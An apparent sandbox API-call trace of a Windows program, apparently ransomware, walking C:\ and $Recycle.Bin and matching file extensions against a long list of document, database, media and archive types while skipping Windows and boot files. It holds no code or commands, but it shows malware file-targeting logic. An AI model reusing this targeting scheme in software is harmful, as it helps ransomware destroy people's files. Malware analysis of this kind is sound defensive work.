	[0059.699] lstrlenW (lpString=".stm") returned 4
	[0059.699] lstrcmpiW (lpString1=".stm", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".svg") returned 4
	[0059.699] lstrcmpiW (lpString1=".svg", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".svgz") returned 5
	[0059.699] lstrcmpiW (lpString1=".svgz", lpString2="E.dll") returned -1
	[0059.699] lstrlenW (lpString=".swf") returned 4
	[0059.699] lstrcmpiW (lpString1=".swf", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tab") returned 4
	[0059.699] lstrcmpiW (lpString1=".tab", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tar") returned 4
	[0059.699] lstrcmpiW (lpString1=".tar", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tbb") returned 4
	[0059.699] lstrcmpiW (lpString1=".tbb", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tbi") returned 4
	[0059.699] lstrcmpiW (lpString1=".tbi", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tbk") returned 4
	[0059.699] lstrcmpiW (lpString1=".tbk", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tdi") returned 4
	[0059.699] lstrcmpiW (lpString1=".tdi", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tga") returned 4
	[0059.699] lstrcmpiW (lpString1=".tga", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".thmx") returned 5
	[0059.699] lstrcmpiW (lpString1=".thmx", lpString2="E.dll") returned -1
	[0059.699] lstrlenW (lpString=".tif") returned 4
	[0059.699] lstrcmpiW (lpString1=".tif", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".tiff") returned 5
	[0059.699] lstrcmpiW (lpString1=".tiff", lpString2="E.dll") returned -1
	[0059.699] lstrlenW (lpString=".tld") returned 4
	[0059.699] lstrcmpiW (lpString1=".tld", lpString2=".dll") returned 1
	[0059.699] lstrlenW (lpString=".torrent") returned 8
	[0059.699] lstrcmpiW (lpString1=".torrent", lpString2="OOBE.dll") returned -1
	[0059.700] lstrlenW (lpString=".tpl") returned 4
	[0059.700] lstrcmpiW (lpString1=".tpl", lpString2=".dll") returned 1
	[0059.700] lstrlenW (lpString=".txt") returned 4
	[0059.700] lstrcmpiW (lpString1=".txt", lpString2=".dll") returned 1
	[0059.700] lstrlenW (lpString=".u3d") returned 4
	[0059.700] lstrcmpiW (lpString1=".u3d", lpString2=".dll") returned 1
	[0059.700] lstrlenW (lpString=".udl") returned 4
	[0059.700] lstrcmpiW (lpString1=".udl", lpString2=".dll") returned 1
	[0059.700] lstrlenW (lpString=".uxdc") returned 5
	[0059.700] lstrcmpiW (lpString1=".uxdc", lpString2="E.dll") returned -1
	[0059.700] lstrlenW (lpString=".vb") returned 3
	[0059.700] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0059.700] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0059.700] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0059.700] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0059.700] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0059.701] FindClose (in: hFindFile=0x5e0370 | out: hFindFile=0x5e0370) returned 1
	[0059.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0059.701] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0059.701] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0059.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0059.701] FindNextFileW (in: hFindFile=0x5e0830, lpFindFileData=0x389fcf8 | out: lpFindFileData=0x389fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0059.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0059.701] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0059.701] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0670
	[0059.702] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0059.702] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0059.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0059.702] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0059.702] lstrlenW (lpString="S-1-5-18") returned 8
	[0059.702] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0059.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0059.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0059.702] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0059.702] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.702] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0059.702] lstrlenW (lpString="desktop.ini") returned 11
	[0059.702] lstrlenW (lpString=".1cd") returned 4
	[0059.702] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0059.702] lstrlenW (lpString=".3ds") returned 4
	[0059.702] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0059.702] lstrlenW (lpString=".3fr") returned 4
	[0059.702] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0059.702] lstrlenW (lpString=".3g2") returned 4
	[0059.703] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".3gp") returned 4
	[0059.703] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".7z") returned 3
	[0059.703] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0059.703] lstrlenW (lpString=".accda") returned 6
	[0059.703] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".accdb") returned 6
	[0059.703] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".accdc") returned 6
	[0059.703] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".accde") returned 6
	[0059.703] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".accdt") returned 6
	[0059.703] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".accdw") returned 6
	[0059.703] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0059.703] lstrlenW (lpString=".adb") returned 4
	[0059.703] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".adp") returned 4
	[0059.703] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".ai") returned 3
	[0059.703] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0059.703] lstrlenW (lpString=".ai3") returned 4
	[0059.703] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".ai4") returned 4
	[0059.703] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".ai5") returned 4
	[0059.703] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".ai6") returned 4
	[0059.703] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0059.703] lstrlenW (lpString=".ai7") returned 4
	[0059.704] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".ai8") returned 4
	[0059.704] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".anim") returned 5
	[0059.704] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0059.704] lstrlenW (lpString=".arw") returned 4
	[0059.704] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".as") returned 3
	[0059.704] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0059.704] lstrlenW (lpString=".asa") returned 4
	[0059.704] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".asc") returned 4
	[0059.704] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".ascx") returned 5
	[0059.704] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0059.704] lstrlenW (lpString=".asm") returned 4
	[0059.704] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".asmx") returned 5
	[0059.704] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0059.704] lstrlenW (lpString=".asp") returned 4
	[0059.704] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".aspx") returned 5
	[0059.704] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0059.704] lstrlenW (lpString=".asr") returned 4
	[0059.704] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".asx") returned 4
	[0059.704] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".avi") returned 4
	[0059.704] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".avs") returned 4
	[0059.704] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0059.704] lstrlenW (lpString=".backup") returned 7
	[0059.704] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0059.704] lstrlenW (lpString=".bak") returned 4
	[0059.704] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".bay") returned 4
	[0059.705] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".bd") returned 3
	[0059.705] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0059.705] lstrlenW (lpString=".bin") returned 4
	[0059.705] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".bmp") returned 4
	[0059.705] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".bz2") returned 4
	[0059.705] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".c") returned 2
	[0059.705] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0059.705] lstrlenW (lpString=".cdr") returned 4
	[0059.705] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".cer") returned 4
	[0059.705] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".cf") returned 3
	[0059.705] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0059.705] lstrlenW (lpString=".cfc") returned 4
	[0059.705] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".cfm") returned 4
	[0059.705] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".cfml") returned 5
	[0059.705] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0059.705] lstrlenW (lpString=".cfu") returned 4
	[0059.705] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".chm") returned 4
	[0059.705] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".cin") returned 4
	[0059.705] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0059.705] lstrlenW (lpString=".class") returned 6
	[0059.705] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0059.706] lstrlenW (lpString=".clx") returned 4
	[0059.706] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".config") returned 7
	[0059.706] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0059.706] lstrlenW (lpString=".cpp") returned 4
	[0059.706] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".cr2") returned 4
	[0059.706] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".crt") returned 4
	[0059.706] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".crw") returned 4
	[0059.706] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".cs") returned 3
	[0059.706] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0059.706] lstrlenW (lpString=".css") returned 4
	[0059.706] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".csv") returned 4
	[0059.706] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".cub") returned 4
	[0059.706] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".dae") returned 4
	[0059.706] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".dat") returned 4
	[0059.706] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".db") returned 3
	[0059.706] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0059.706] lstrlenW (lpString=".dbf") returned 4
	[0059.706] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".dbx") returned 4
	[0059.706] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0059.706] lstrlenW (lpString=".dc3") returned 4
	[0059.707] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dcm") returned 4
	[0059.707] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dcr") returned 4
	[0059.707] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".der") returned 4
	[0059.707] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dib") returned 4
	[0059.707] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dic") returned 4
	[0059.707] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dif") returned 4
	[0059.707] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".divx") returned 5
	[0059.707] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".djvu") returned 5
	[0059.707] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".dng") returned 4
	[0059.707] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".doc") returned 4
	[0059.707] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".docm") returned 5
	[0059.707] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".docx") returned 5
	[0059.707] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".dot") returned 4
	[0059.707] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dotm") returned 5
	[0059.707] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".dotx") returned 5
	[0059.707] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0059.707] lstrlenW (lpString=".dpx") returned 4
	[0059.707] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0059.707] lstrlenW (lpString=".dqy") returned 4
	[0059.708] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".dsn") returned 4
	[0059.708] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".dt") returned 3
	[0059.708] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0059.708] lstrlenW (lpString=".dtd") returned 4
	[0059.708] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".dwg") returned 4
	[0059.708] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".dwt") returned 4
	[0059.708] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".dx") returned 3
	[0059.708] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0059.708] lstrlenW (lpString=".dxf") returned 4
	[0059.708] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".edml") returned 5
	[0059.708] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0059.708] lstrlenW (lpString=".efd") returned 4
	[0059.708] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".elf") returned 4
	[0059.708] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".emf") returned 4
	[0059.708] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".emz") returned 4
	[0059.708] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".epf") returned 4
	[0059.708] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".eps") returned 4
	[0059.708] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0059.708] lstrlenW (lpString=".epsf") returned 5
	[0059.708] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0059.708] lstrlenW (lpString=".epsp") returned 5
	[0059.709] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0059.709] lstrlenW (lpString=".erf") returned 4
	[0059.709] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".exr") returned 4
	[0059.709] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".f4v") returned 4
	[0059.709] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".fido") returned 5
	[0059.709] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0059.709] lstrlenW (lpString=".flm") returned 4
	[0059.709] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".flv") returned 4
	[0059.709] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".frm") returned 4
	[0059.709] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".fxg") returned 4
	[0059.709] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".geo") returned 4
	[0059.709] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".gif") returned 4
	[0059.709] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".grs") returned 4
	[0059.709] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".gz") returned 3
	[0059.709] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0059.709] lstrlenW (lpString=".h") returned 2
	[0059.709] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0059.709] lstrlenW (lpString=".hdr") returned 4
	[0059.709] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".hpp") returned 4
	[0059.709] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0059.709] lstrlenW (lpString=".hta") returned 4
	[0059.709] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".htc") returned 4
	[0059.710] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".htm") returned 4
	[0059.710] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".html") returned 5
	[0059.710] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0059.710] lstrlenW (lpString=".icb") returned 4
	[0059.710] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".ics") returned 4
	[0059.710] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".iff") returned 4
	[0059.710] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".inc") returned 4
	[0059.710] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0059.710] lstrlenW (lpString=".indd") returned 5
	[0059.710] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0059.710] lstrlenW (lpString=".ini") returned 4
	[0059.710] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0059.710] lstrlenW (lpString="desktop.ini") returned 11
	[0059.710] lstrlenW (lpString=".html") returned 5
	[0059.710] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0059.710] lstrlenW (lpString="desktop.ini") returned 11
	[0059.710] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0059.710] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0059.710] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0059.710] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
